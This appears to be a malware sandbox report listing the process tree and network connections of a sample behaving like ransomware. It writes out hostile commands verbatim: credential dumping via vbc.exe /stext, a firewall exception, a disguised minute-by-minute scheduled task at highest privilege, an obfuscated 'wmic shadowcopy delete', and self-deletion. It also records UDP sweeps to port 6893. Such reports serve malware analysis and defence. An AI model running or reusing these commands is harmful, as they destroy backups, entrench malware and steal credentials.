C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"

C:\PROGRA~3\system.exe

C:\PROGRA~3\system.exe

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\PROGRA~3\system.exe"

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\cp.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\cp.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\cp.exe

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram "C:\ProgramData\system.exe" "system.exe" ENABLE

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\slc.0.bat" "

C:\Windows\SysWOW64\timeout.exe

timeout 3

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"

C:\ProgramData\AdobeExplorer\AdobeUpdateres.exe

"C:\ProgramData\AdobeExplorer\AdobeUpdateres.exe"

C:\Windows\SysWOW64\schtasks.exe

C:\Windows\System32\schtasks.exe /create /sc MINUTE /mo 1 /RL HIGHEST /tn AdobeUpdateres /tr C:\ProgramData\AdobeExplorer\AdobeUpdateres.exe /f

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /RL HIGHEST /tn "AdobeUpdateres" /tr C:\ProgramData\AdobeExplorer\AdobeUpdateres.exe /f

C:\Windows\system32\wbem\wmic.exe

"C:\fsc\dbtqa\..\..\Windows\u\..\system32\d\ug\..\..\wbem\oja\rg\g\..\..\..\wmic.exe" shadowcopy delete

C:\Windows\SysWOW64\DllHost.exe

C:\Windows\SysWOW64\DllHost.exe /Processid:{3F6B5E16-092A-41ED-930B-0B4125D91D4E}

C:\Users\Admin\AppData\Local\Temp\nseFF49.tmp

C:\Users\Admin\AppData\Local\Temp\nseFF49.tmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe

taskdl.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskse.exe

taskse.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

@[email protected]

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nseFF49.tmp" & del "C:\ProgramData\*.dll"" & exit

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c timeout /t 5 & del /f /q C:\Users\Admin\AppData\Local\Temp\nseFF49.tmp & del "C:\ProgramData\*.dll"" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 5

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe

taskdl.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

@[email protected]

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskse.exe

taskse.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

C:\Windows\system32\taskeng.exe

taskeng.exe {F690E8A9-87ED-4ECF-A185-97D01570C2DA} S-1-5-21-3470981204-343661084-3367201002-1000:GLTGRJAG\Admin:Interactive:[1]

C:\ProgramData\AdobeExplorer\AdobeUpdateres.exe

C:\ProgramData\AdobeExplorer\AdobeUpdateres.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskse.exe

taskse.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

@[email protected]

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe

taskdl.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 stats.walliant.com udp
US 8.8.8.8:53 api.joinmassive.com udp
AT 86.59.21.38:443 tcp
US 104.21.57.77:443 stats.walliant.com tcp
US 18.172.89.72:443 api.joinmassive.com tcp
US 18.172.89.72:443 api.joinmassive.com tcp
US 8.8.8.8:53 pki.goog udp
US 216.239.32.29:80 pki.goog tcp
US 8.8.8.8:53 iplogger.org udp
US 8.8.8.8:53 www.microsoft.com udp
US 172.67.132.113:443 iplogger.org tcp
US 172.67.132.113:443 iplogger.org tcp
US 8.8.8.8:53 urlhaus.abuse.ch udp
IE 93.107.12.0:6893 udp
IE 93.107.12.1:6893 udp
IE 93.107.12.2:6893 udp
IE 93.107.12.3:6893 udp
IE 93.107.12.4:6893 udp
IE 93.107.12.5:6893 udp
IE 93.107.12.6:6893 udp
IE 93.107.12.7:6893 udp
IE 93.107.12.8:6893 udp
IE 93.107.12.9:6893 udp
IE 93.107.12.10:6893 udp
IE 93.107.12.11:6893 udp
IE 93.107.12.12:6893 udp
IE 93.107.12.13:6893 udp
IE 93.107.12.14:6893 udp
IE 93.107.12.15:6893 udp
IE 93.107.12.16:6893 udp
IE 93.107.12.17:6893 udp
IE 93.107.12.18:6893 udp
IE 93.107.12.19:6893 udp
IE 93.107.12.20:6893 udp
IE 93.107.12.21:6893 udp
IE 93.107.12.22:6893 udp
IE 93.107.12.23:6893 udp
IE 93.107.12.24:6893 udp
IE 93.107.12.25:6893 udp
IE 93.107.12.26:6893 udp
IE 93.107.12.27:6893 udp
IE 93.107.12.28:6893 udp
IE 93.107.12.29:6893 udp
IE 93.107.12.30:6893 udp
IE 93.107.12.31:6893 udp
TR 95.1.200.0:6893 udp
TR 95.1.200.1:6893 udp
TR 95.1.200.2:6893 udp
TR 95.1.200.3:6893 udp
TR 95.1.200.4:6893 udp
TR 95.1.200.5:6893 udp
TR 95.1.200.6:6893 udp
TR 95.1.200.7:6893 udp
TR 95.1.200.8:6893 udp
TR 95.1.200.9:6893 udp
TR 95.1.200.10:6893 udp
TR 95.1.200.11:6893 udp
TR 95.1.200.12:6893 udp
TR 95.1.200.13:6893 udp
TR 95.1.200.14:6893 udp
TR 95.1.200.15:6893 udp
TR 95.1.200.16:6893 udp
TR 95.1.200.17:6893 udp
TR 95.1.200.18:6893 udp
TR 95.1.200.19:6893 udp
TR 95.1.200.20:6893 udp
TR 95.1.200.21:6893 udp
TR 95.1.200.22:6893 udp
TR 95.1.200.23:6893 udp
TR 95.1.200.24:6893 udp
TR 95.1.200.25:6893 udp
TR 95.1.200.26:6893 udp
TR 95.1.200.27:6893 udp
TR 95.1.200.28:6893 udp
TR 95.1.200.29:6893 udp
TR 95.1.200.30:6893 udp
TR 95.1.200.31:6893 udp
FR 87.98.176.0:6893 udp
FR 87.98.176.1:6893 udp
FR 87.98.176.2:6893 udp
FR 87.98.176.3:6893 udp
FR 87.98.176.4:6893 udp
FR 87.98.176.5:6893 udp
FR 87.98.176.6:6893 udp
FR 87.98.176.7:6893 udp
FR 87.98.176.8:6893 udp
FR 87.98.176.9:6893 udp
FR 87.98.176.10:6893 udp
FR 87.98.176.11:6893 udp
FR 87.98.176.12:6893 udp
FR 87.98.176.13:6893 udp
FR 87.98.176.14:6893 udp
FR 87.98.176.15:6893 udp
FR 87.98.176.16:6893 udp
FR 87.98.176.17:6893 udp
FR 87.98.176.18:6893 udp
FR 87.98.176.19:6893 udp
FR 87.98.176.20:6893 udp
FR 87.98.176.21:6893 udp
FR 87.98.176.22:6893 udp
FR 87.98.176.23:6893 udp
FR 87.98.176.24:6893 udp
FR 87.98.176.25:6893 udp
FR 87.98.176.26:6893 udp
FR 87.98.176.27:6893 udp
FR 87.98.176.28:6893 udp
FR 87.98.176.29:6893 udp
FR 87.98.176.30:6893 udp
FR 87.98.176.31:6893 udp
FR 87.98.176.32:6893 udp
FR 87.98.176.33:6893 udp
FR 87.98.176.34:6893 udp
FR 87.98.176.35:6893 udp
FR 87.98.176.36:6893 udp
FR 87.98.176.37:6893 udp
FR 87.98.176.38:6893 udp
FR 87.98.176.39:6893 udp
FR 87.98.176.40:6893 udp
FR 87.98.176.41:6893 udp
FR 87.98.176.42:6893 udp
FR 87.98.176.43:6893 udp
FR 87.98.176.44:6893 udp
FR 87.98.176.45:6893 udp
FR 87.98.176.46:6893 udp
FR 87.98.176.47:6893 udp
FR 87.98.176.48:6893 udp
FR 87.98.176.49:6893 udp
FR 87.98.176.50:6893 udp
FR 87.98.176.51:6893 udp
FR 87.98.176.52:6893 udp
FR 87.98.176.53:6893 udp
FR 87.98.176.54:6893 udp
FR 87.98.176.55:6893 udp
FR 87.98.176.56:6893 udp
FR 87.98.176.57:6893 udp
FR 87.98.176.58:6893 udp
FR 87.98.176.59:6893 udp
FR 87.98.176.60:6893 udp
FR 87.98.176.61:6893 udp
FR 87.98.176.62:6893 udp
FR 87.98.176.63:6893 udp
FR 87.98.176.64:6893 udp
FR 87.98.176.65:6893 udp
FR 87.98.176.66:6893 udp
FR 87.98.176.67:6893 udp
FR 87.98.176.68:6893 udp
FR 87.98.176.69:6893 udp
FR 87.98.176.70:6893 udp
FR 87.98.176.71:6893 udp
FR 87.98.176.72:6893 udp
FR 87.98.176.73:6893 udp
FR 87.98.176.74:6893 udp
FR 87.98.176.75:6893 udp
FR 87.98.176.76:6893 udp
FR 87.98.176.77:6893 udp
FR 87.98.176.78:6893 udp
FR 87.98.176.79:6893 udp
FR 87.98.176.80:6893 udp
FR 87.98.176.81:6893 udp
FR 87.98.176.82:6893 udp
FR 87.98.176.83:6893 udp
FR 87.98.176.84:6893 udp
FR 87.98.176.85:6893 udp
FR 87.98.176.86:6893 udp
FR 87.98.176.87:6893 udp
FR 87.98.176.88:6893 udp
FR 87.98.176.89:6893 udp
FR 87.98.176.90:6893 udp
FR 87.98.176.91:6893 udp
FR 87.98.176.92:6893 udp
FR 87.98.176.93:6893 udp
FR 87.98.176.94:6893 udp
FR 87.98.176.95:6893 udp
FR 87.98.176.96:6893 udp
FR 87.98.176.97:6893 udp
FR 87.98.176.98:6893 udp
FR 87.98.176.99:6893 udp
FR 87.98.176.100:6893 udp
FR 87.98.176.101:6893 udp
FR 87.98.176.102:6893 udp
FR 87.98.176.103:6893 udp
FR 87.98.176.104:6893 udp
FR 87.98.176.105:6893 udp
FR 87.98.176.106:6893 udp
FR 87.98.176.107:6893 udp
FR 87.98.176.108:6893 udp
FR 87.98.176.109:6893 udp
FR 87.98.176.110:6893 udp
FR 87.98.176.111:6893 udp
FR 87.98.176.112:6893 udp
FR 87.98.176.113:6893 udp
FR 87.98.176.114:6893 udp
FR 87.98.176.115:6893 udp
FR 87.98.176.116:6893 udp
FR 87.98.176.117:6893 udp
FR 87.98.176.118:6893 udp
FR 87.98.176.119:6893 udp
FR 87.98.176.120:6893 udp
FR 87.98.176.121:6893 udp
FR 87.98.176.122:6893 udp
FR 87.98.176.123:6893 udp
FR 87.98.176.124:6893 udp
FR 87.98.176.125:6893 udp
FR 87.98.176.126:6893 udp
FR 87.98.176.127:6893 udp
FR 87.98.176.128:6893 udp
FR 87.98.176.129:6893 udp
FR 87.98.176.130:6893 udp
FR 87.98.176.131:6893 udp
FR 87.98.176.132:6893 udp
FR 87.98.176.133:6893 udp
FR 87.98.176.134:6893 udp
FR 87.98.176.135:6893 udp
FR 87.98.176.136:6893 udp
FR 87.98.176.137:6893 udp
FR 87.98.176.138:6893 udp
FR 87.98.176.139:6893 udp
FR 87.98.176.140:6893 udp
FR 87.98.176.141:6893 udp
FR 87.98.176.142:6893 udp
FR 87.98.176.143:6893 udp
FR 87.98.176.144:6893 udp
FR 87.98.176.145:6893 udp
FR 87.98.176.146:6893 udp
FR 87.98.176.147:6893 udp
FR 87.98.176.148:6893 udp
FR 87.98.176.149:6893 udp
FR 87.98.176.150:6893 udp
FR 87.98.176.151:6893 udp
FR 87.98.176.152:6893 udp
FR 87.98.176.153:6893 udp
FR 87.98.176.154:6893 udp
FR 87.98.176.155:6893 udp
FR 87.98.176.156:6893 udp
FR 87.98.176.157:6893 udp
FR 87.98.176.158:6893 udp
FR 87.98.176.159:6893 udp
FR 87.98.176.160:6893 udp
FR 87.98.176.161:6893 udp
FR 87.98.176.162:6893 udp
FR 87.98.176.163:6893 udp
FR 87.98.176.164:6893 udp
FR 87.98.176.165:6893 udp
FR 87.98.176.166:6893 udp
FR 87.98.176.167:6893 udp
FR 87.98.176.168:6893 udp
FR 87.98.176.169:6893 udp
FR 87.98.176.170:6893 udp
FR 87.98.176.171:6893 udp
FR 87.98.176.172:6893 udp
FR 87.98.176.173:6893 udp
FR 87.98.176.174:6893 udp
FR 87.98.176.175:6893 udp
FR 87.98.176.176:6893 udp
FR 87.98.176.177:6893 udp
FR 87.98.176.178:6893 udp
FR 87.98.176.179:6893 udp
FR 87.98.176.180:6893 udp
FR 87.98.176.181:6893 udp
FR 87.98.176.182:6893 udp
FR 87.98.176.183:6893 udp
FR 87.98.176.184:6893 udp
FR 87.98.176.185:6893 udp
FR 87.98.176.186:6893 udp
FR 87.98.176.187:6893 udp
FR 87.98.176.188:6893 udp
FR 87.98.176.189:6893 udp
FR 87.98.176.190:6893 udp
FR 87.98.176.191:6893 udp
FR 87.98.176.192:6893 udp
FR 87.98.176.193:6893 udp
FR 87.98.176.194:6893 udp
FR 87.98.176.195:6893 udp
FR 87.98.176.196:6893 udp
FR 87.98.176.197:6893 udp
FR 87.98.176.198:6893 udp
FR 87.98.176.199:6893 udp
FR 87.98.176.200:6893 udp
FR 87.98.176.201:6893 udp
FR 87.98.176.202:6893 udp
FR 87.98.176.203:6893 udp
FR 87.98.176.204:6893 udp
FR 87.98.176.205:6893 udp
FR 87.98.176.206:6893 udp
FR 87.98.176.207:6893 udp
FR 87.98.176.208:6893 udp
FR 87.98.176.209:6893 udp
FR 87.98.176.210:6893 udp
FR 87.98.176.211:6893 udp
FR 87.98.176.212:6893 udp
FR 87.98.176.213:6893 udp
FR 87.98.176.214:6893 udp
FR 87.98.176.215:6893 udp
FR 87.98.176.216:6893 udp
FR 87.98.176.217:6893 udp
FR 87.98.176.218:6893 udp
FR 87.98.176.219:6893 udp
FR 87.98.176.220:6893 udp
FR 87.98.176.221:6893 udp
FR 87.98.176.222:6893 udp
FR 87.98.176.223:6893 udp
FR 87.98.176.224:6893 udp
FR 87.98.176.225:6893 udp
FR 87.98.176.226:6893 udp
FR 87.98.176.227:6893 udp
FR 87.98.176.228:6893 udp
FR 87.98.176.229:6893 udp
FR 87.98.176.230:6893 udp
FR 87.98.176.231:6893 udp
FR 87.98.176.232:6893 udp
FR 87.98.176.233:6893 udp
FR 87.98.176.234:6893 udp
FR 87.98.176.235:6893 udp
FR 87.98.176.236:6893 udp
FR 87.98.176.237:6893 udp
FR 87.98.176.238:6893 udp
FR 87.98.176.239:6893 udp
FR 87.98.176.240:6893 udp
FR 87.98.176.241:6893 udp
FR 87.98.176.242:6893 udp
FR 87.98.176.243:6893 udp
FR 87.98.176.244:6893 udp
FR 87.98.176.245:6893 udp
FR 87.98.176.246:6893 udp
FR 87.98.176.247:6893 udp
FR 87.98.176.248:6893 udp
FR 87.98.176.249:6893 udp
FR 87.98.176.250:6893 udp
FR 87.98.176.251:6893 udp
FR 87.98.176.252:6893 udp
FR 87.98.176.253:6893 udp
FR 87.98.176.254:6893 udp
US 8.8.8.8:53 apps.identrust.com udp
US 8.8.8.8:53 apps.identrust.com udp
GB 96.17.179.205:80 apps.identrust.com tcp
GB 96.17.179.205:80 apps.identrust.com tcp
US 151.101.2.49:443 urlhaus.abuse.ch tcp
FR 87.98.176.255:6893 udp
FR 87.98.177.0:6893 udp
FR 87.98.177.1:6893 udp
FR 87.98.177.2:6893 udp
FR 87.98.177.3:6893 udp
FR 87.98.177.4:6893 udp
FR 87.98.177.5:6893 udp
FR 87.98.177.6:6893 udp
FR 87.98.177.7:6893 udp
FR 87.98.177.8:6893 udp
FR 87.98.177.9:6893 udp
FR 87.98.177.10:6893 udp
FR 87.98.177.11:6893 udp
FR 87.98.177.12:6893 udp
FR 87.98.177.13:6893 udp
FR 87.98.177.14:6893 udp
FR 87.98.177.15:6893 udp
FR 87.98.177.16:6893 udp
FR 87.98.177.17:6893 udp
FR 87.98.177.18:6893 udp
FR 87.98.177.19:6893 udp
FR 87.98.177.20:6893 udp
FR 87.98.177.21:6893 udp
FR 87.98.177.22:6893 udp
FR 87.98.177.23:6893 udp
FR 87.98.177.24:6893 udp
FR 87.98.177.25:6893 udp
FR 87.98.177.26:6893 udp
FR 87.98.177.27:6893 udp
FR 87.98.177.28:6893 udp
FR 87.98.177.29:6893 udp
FR 87.98.177.30:6893 udp
FR 87.98.177.31:6893 udp
FR 87.98.177.32:6893 udp
FR 87.98.177.33:6893 udp
FR 87.98.177.34:6893 udp
FR 87.98.177.35:6893 udp
FR 87.98.177.36:6893 udp
FR 87.98.177.37:6893 udp
FR 87.98.177.38:6893 udp
FR 87.98.177.39:6893 udp
FR 87.98.177.40:6893 udp
FR 87.98.177.41:6893 udp
FR 87.98.177.42:6893 udp
FR 87.98.177.43:6893 udp
FR 87.98.177.44:6893 udp
FR 87.98.177.45:6893 udp
FR 87.98.177.46:6893 udp
FR 87.98.177.47:6893 udp
FR 87.98.177.48:6893 udp
FR 87.98.177.49:6893 udp
FR 87.98.177.50:6893 udp
FR 87.98.177.51:6893 udp
FR 87.98.177.52:6893 udp
FR 87.98.177.53:6893 udp
FR 87.98.177.54:6893 udp
FR 87.98.177.55:6893 udp
FR 87.98.177.56:6893 udp
FR 87.98.177.57:6893 udp
FR 87.98.177.58:6893 udp
FR 87.98.177.59:6893 udp
FR 87.98.177.60:6893 udp
FR 87.98.177.61:6893 udp
FR 87.98.177.62:6893 udp
FR 87.98.177.63:6893 udp
FR 87.98.177.64:6893 udp
FR 87.98.177.65:6893 udp
FR 87.98.177.66:6893 udp
FR 87.98.177.67:6893 udp
FR 87.98.177.68:6893 udp
FR 87.98.177.69:6893 udp
FR 87.98.177.70:6893 udp
FR 87.98.177.71:6893 udp
FR 87.98.177.72:6893 udp
FR 87.98.177.73:6893 udp
FR 87.98.177.74:6893 udp
FR 87.98.177.75:6893 udp
FR 87.98.177.76:6893 udp
FR 87.98.177.77:6893 udp
FR 87.98.177.78:6893 udp
FR 87.98.177.79:6893 udp
FR 87.98.177.80:6893 udp
FR 87.98.177.81:6893 udp
FR 87.98.177.82:6893 udp
FR 87.98.177.83:6893 udp
FR 87.98.177.84:6893 udp
FR 87.98.177.85:6893 udp
FR 87.98.177.86:6893 udp
FR 87.98.177.87:6893 udp
FR 87.98.177.88:6893 udp
FR 87.98.177.89:6893 udp
FR 87.98.177.90:6893 udp
FR 87.98.177.91:6893 udp
FR 87.98.177.92:6893 udp
FR 87.98.177.93:6893 udp
FR 87.98.177.94:6893 udp
FR 87.98.177.95:6893 udp
FR 87.98.177.96:6893 udp
FR 87.98.177.97:6893 udp
FR 87.98.177.98:6893 udp
FR 87.98.177.99:6893 udp
FR 87.98.177.100:6893 udp
FR 87.98.177.101:6893 udp
FR 87.98.177.102:6893 udp
FR 87.98.177.103:6893 udp
FR 87.98.177.104:6893 udp
FR 87.98.177.105:6893 udp
FR 87.98.177.106:6893 udp
FR 87.98.177.107:6893 udp
FR 87.98.177.108:6893 udp
FR 87.98.177.109:6893 udp
FR 87.98.177.110:6893 udp
FR 87.98.177.111:6893 udp
FR 87.98.177.112:6893 udp
FR 87.98.177.113:6893 udp
FR 87.98.177.114:6893 udp
FR 87.98.177.115:6893 udp
FR 87.98.177.116:6893 udp
FR 87.98.177.117:6893 udp
FR 87.98.177.118:6893 udp
FR 87.98.177.119:6893 udp
FR 87.98.177.120:6893 udp
FR 87.98.177.121:6893 udp
FR 87.98.177.122:6893 udp
FR 87.98.177.123:6893 udp
FR 87.98.177.124:6893 udp
FR 87.98.177.125:6893 udp
FR 87.98.177.126:6893 udp
FR 87.98.177.127:6893 udp
FR 87.98.177.128:6893 udp
FR 87.98.177.129:6893 udp
FR 87.98.177.130:6893 udp
FR 87.98.177.131:6893 udp
FR 87.98.177.132:6893 udp
FR 87.98.177.133:6893 udp
FR 87.98.177.134:6893 udp
FR 87.98.177.135:6893 udp
FR 87.98.177.136:6893 udp
FR 87.98.177.137:6893 udp
FR 87.98.177.138:6893 udp
FR 87.98.177.139:6893 udp
FR 87.98.177.140:6893 udp
FR 87.98.177.141:6893 udp
FR 87.98.177.142:6893 udp
FR 87.98.177.143:6893 udp
FR 87.98.177.144:6893 udp
FR 87.98.177.145:6893 udp
FR 87.98.177.146:6893 udp
FR 87.98.177.147:6893 udp
FR 87.98.177.148:6893 udp
FR 87.98.177.149:6893 udp
FR 87.98.177.150:6893 udp
FR 87.98.177.151:6893 udp
FR 87.98.177.152:6893 udp
FR 87.98.177.153:6893 udp
FR 87.98.177.154:6893 udp
FR 87.98.177.155:6893 udp
FR 87.98.177.156:6893 udp
FR 87.98.177.157:6893 udp
FR 87.98.177.158:6893 udp
FR 87.98.177.159:6893 udp
FR 87.98.177.160:6893 udp
FR 87.98.177.161:6893 udp
FR 87.98.177.162:6893 udp
FR 87.98.177.163:6893 udp
FR 87.98.177.164:6893 udp
FR 87.98.177.165:6893 udp
FR 87.98.177.166:6893 udp
FR 87.98.177.167:6893 udp
FR 87.98.177.168:6893 udp
FR 87.98.177.169:6893 udp
FR 87.98.177.170:6893 udp
FR 87.98.177.171:6893 udp
FR 87.98.177.172:6893 udp
FR 87.98.177.173:6893 udp
FR 87.98.177.174:6893 udp
FR 87.98.177.175:6893 udp
FR 87.98.177.176:6893 udp
FR 87.98.177.177:6893 udp
FR 87.98.177.178:6893 udp
FR 87.98.177.179:6893 udp
FR 87.98.177.180:6893 udp
FR 87.98.177.181:6893 udp
FR 87.98.177.182:6893 udp
FR 87.98.177.183:6893 udp
FR 87.98.177.184:6893 udp
FR 87.98.177.185:6893 udp
FR 87.98.177.186:6893 udp
FR 87.98.177.187:6893 udp
FR 87.98.177.188:6893 udp
FR 87.98.177.189:6893 udp
FR 87.98.177.190:6893 udp
FR 87.98.177.191:6893 udp
FR 87.98.177.192:6893 udp
FR 87.98.177.193:6893 udp
FR 87.98.177.194:6893 udp
FR 87.98.177.195:6893 udp
FR 87.98.177.196:6893 udp
FR 87.98.177.197:6893 udp
FR 87.98.177.198:6893 udp
FR 87.98.177.199:6893 udp
FR 87.98.177.200:6893 udp
FR 87.98.177.201:6893 udp
FR 87.98.177.202:6893 udp
FR 87.98.177.203:6893 udp
FR 87.98.177.204:6893 udp
FR 87.98.177.205:6893 udp
FR 87.98.177.206:6893 udp
FR 87.98.177.207:6893 udp
FR 87.98.177.208:6893 udp
FR 87.98.177.209:6893 udp
FR 87.98.177.210:6893 udp
FR 87.98.177.211:6893 udp
FR 87.98.177.212:6893 udp
FR 87.98.177.213:6893 udp
FR 87.98.177.214:6893 udp
FR 87.98.177.215:6893 udp
FR 87.98.177.216:6893 udp
FR 87.98.177.217:6893 udp
FR 87.98.177.218:6893 udp
FR 87.98.177.219:6893 udp
FR 87.98.177.220:6893 udp
FR 87.98.177.221:6893 udp
FR 87.98.177.222:6893 udp
FR 87.98.177.223:6893 udp
FR 87.98.177.224:6893 udp
FR 87.98.177.225:6893 udp
FR 87.98.177.226:6893 udp
FR 87.98.177.227:6893 udp
FR 87.98.177.228:6893 udp
FR 87.98.177.229:6893 udp
FR 87.98.177.230:6893 udp
FR 87.98.177.231:6893 udp
FR 87.98.177.232:6893 udp
FR 87.98.177.233:6893 udp
FR 87.98.177.234:6893 udp
FR 87.98.177.235:6893 udp
FR 87.98.177.236:6893 udp
FR 87.98.177.237:6893 udp
FR 87.98.177.238:6893 udp
FR 87.98.177.239:6893 udp
FR 87.98.177.240:6893 udp
FR 87.98.177.241:6893 udp
FR 87.98.177.242:6893 udp
FR 87.98.177.243:6893 udp
FR 87.98.177.244:6893 udp
FR 87.98.177.245:6893 udp
FR 87.98.177.246:6893 udp
FR 87.98.177.247:6893 udp
FR 87.98.177.248:6893 udp
FR 87.98.177.249:6893 udp
FR 87.98.177.250:6893 udp
FR 87.98.177.251:6893 udp
FR 87.98.177.252:6893 udp
FR 87.98.177.253:6893 udp
FR 87.98.177.254:6893 udp
FR 87.98.177.255:6893 udp
FR 87.98.178.0:6893 udp
FR 87.98.178.1:6893 udp
FR 87.98.178.2:6893 udp
FR 87.98.178.3:6893 udp
FR 87.98.178.4:6893 udp
FR 87.98.178.5:6893 udp
FR 87.98.178.6:6893 udp
FR 87.98.178.7:6893 udp
FR 87.98.178.8:6893 udp
FR 87.98.178.9:6893 udp
FR 87.98.178.10:6893 udp
FR 87.98.178.11:6893 udp
FR 87.98.178.12:6893 udp
FR 87.98.178.13:6893 udp
FR 87.98.178.14:6893 udp
FR 87.98.178.15:6893 udp
FR 87.98.178.16:6893 udp
FR 87.98.178.17:6893 udp
FR 87.98.178.18:6893 udp
FR 87.98.178.19:6893 udp
FR 87.98.178.20:6893 udp
FR 87.98.178.21:6893 udp
FR 87.98.178.22:6893 udp
FR 87.98.178.23:6893 udp
FR 87.98.178.24:6893 udp
FR 87.98.178.25:6893 udp
FR 87.98.178.26:6893 udp
FR 87.98.178.27:6893 udp
FR 87.98.178.28:6893 udp
FR 87.98.178.29:6893 udp
FR 87.98.178.30:6893 udp
FR 87.98.178.31:6893 udp
FR 87.98.178.32:6893 udp
FR 87.98.178.33:6893 udp
FR 87.98.178.34:6893 udp
FR 87.98.178.35:6893 udp
FR 87.98.178.36:6893 udp
FR 87.98.178.37:6893 udp
FR 87.98.178.38:6893 udp
FR 87.98.178.39:6893 udp
FR 87.98.178.40:6893 udp
FR 87.98.178.41:6893 udp
FR 87.98.178.42:6893 udp
FR 87.98.178.43:6893 udp
FR 87.98.178.44:6893 udp
FR 87.98.178.45:6893 udp
FR 87.98.178.46:6893 udp
FR 87.98.178.47:6893 udp
FR 87.98.178.48:6893 udp
FR 87.98.178.49:6893 udp
FR 87.98.178.50:6893 udp
FR 87.98.178.51:6893 udp
FR 87.98.178.52:6893 udp
FR 87.98.178.53:6893 udp
FR 87.98.178.54:6893 udp
FR 87.98.178.55:6893 udp
FR 87.98.178.56:6893 udp
FR 87.98.178.57:6893 udp
FR 87.98.178.58:6893 udp
FR 87.98.178.59:6893 udp
FR 87.98.178.60:6893 udp
FR 87.98.178.61:6893 udp
FR 87.98.178.62:6893 udp
FR 87.98.178.63:6893 udp
FR 87.98.178.64:6893 udp
FR 87.98.178.65:6893 udp
FR 87.98.178.66:6893 udp
FR 87.98.178.67:6893 udp
FR 87.98.178.68:6893 udp
FR 87.98.178.69:6893 udp
FR 87.98.178.70:6893 udp
FR 87.98.178.71:6893 udp
FR 87.98.178.72:6893 udp
FR 87.98.178.73:6893 udp
FR 87.98.178.74:6893 udp
FR 87.98.178.75:6893 udp
FR 87.98.178.76:6893 udp
FR 87.98.178.77:6893 udp
FR 87.98.178.78:6893 udp
FR 87.98.178.79:6893 udp
FR 87.98.178.80:6893 udp
FR 87.98.178.81:6893 udp
FR 87.98.178.82:6893 udp
FR 87.98.178.83:6893 udp
FR 87.98.178.84:6893 udp
FR 87.98.178.85:6893 udp
FR 87.98.178.86:6893 udp
FR 87.98.178.87:6893 udp
FR 87.98.178.88:6893 udp
FR 87.98.178.89:6893 udp
FR 87.98.178.90:6893 udp
FR 87.98.178.91:6893 udp
FR 87.98.178.92:6893 udp
FR 87.98.178.93:6893 udp
FR 87.98.178.94:6893 udp
FR 87.98.178.95:6893 udp
FR 87.98.178.96:6893 udp
FR 87.98.178.97:6893 udp
FR 87.98.178.98:6893 udp
FR 87.98.178.99:6893 udp
FR 87.98.178.100:6893 udp
FR 87.98.178.101:6893 udp
FR 87.98.178.102:6893 udp
FR 87.98.178.103:6893 udp
FR 87.98.178.104:6893 udp
FR 87.98.178.105:6893 udp
FR 87.98.178.106:6893 udp
FR 87.98.178.107:6893 udp
FR 87.98.178.108:6893 udp
FR 87.98.178.109:6893 udp
FR 87.98.178.110:6893 udp
FR 87.98.178.111:6893 udp
FR 87.98.178.112:6893 udp
FR 87.98.178.113:6893 udp
FR 87.98.178.114:6893 udp
FR 87.98.178.115:6893 udp
FR 87.98.178.116:6893 udp
FR 87.98.178.117:6893 udp
FR 87.98.178.118:6893 udp
FR 87.98.178.119:6893 udp
FR 87.98.178.120:6893 udp
FR 87.98.178.121:6893 udp
FR 87.98.178.122:6893 udp
FR 87.98.178.123:6893 udp
FR 87.98.178.124:6893 udp
FR 87.98.178.125:6893 udp
FR 87.98.178.126:6893 udp
FR 87.98.178.127:6893 udp
FR 87.98.178.128:6893 udp
FR 87.98.178.129:6893 udp
FR 87.98.178.130:6893 udp
FR 87.98.178.131:6893 udp
FR 87.98.178.132:6893 udp
FR 87.98.178.133:6893 udp
FR 87.98.178.134:6893 udp
FR 87.98.178.135:6893 udp
FR 87.98.178.136:6893 udp
FR 87.98.178.137:6893 udp
FR 87.98.178.138:6893 udp
FR 87.98.178.139:6893 udp
FR 87.98.178.140:6893 udp
FR 87.98.178.141:6893 udp
FR 87.98.178.142:6893 udp
FR 87.98.178.143:6893 udp
FR 87.98.178.144:6893 udp
FR 87.98.178.145:6893 udp
FR 87.98.178.146:6893 udp
FR 87.98.178.147:6893 udp
FR 87.98.178.148:6893 udp
FR 87.98.178.149:6893 udp
FR 87.98.178.150:6893 udp
FR 87.98.178.151:6893 udp
FR 87.98.178.152:6893 udp
FR 87.98.178.153:6893 udp
FR 87.98.178.154:6893 udp
FR 87.98.178.155:6893 udp
FR 87.98.178.156:6893 udp
FR 87.98.178.157:6893 udp
FR 87.98.178.158:6893 udp
FR 87.98.178.159:6893 udp
FR 87.98.178.160:6893 udp
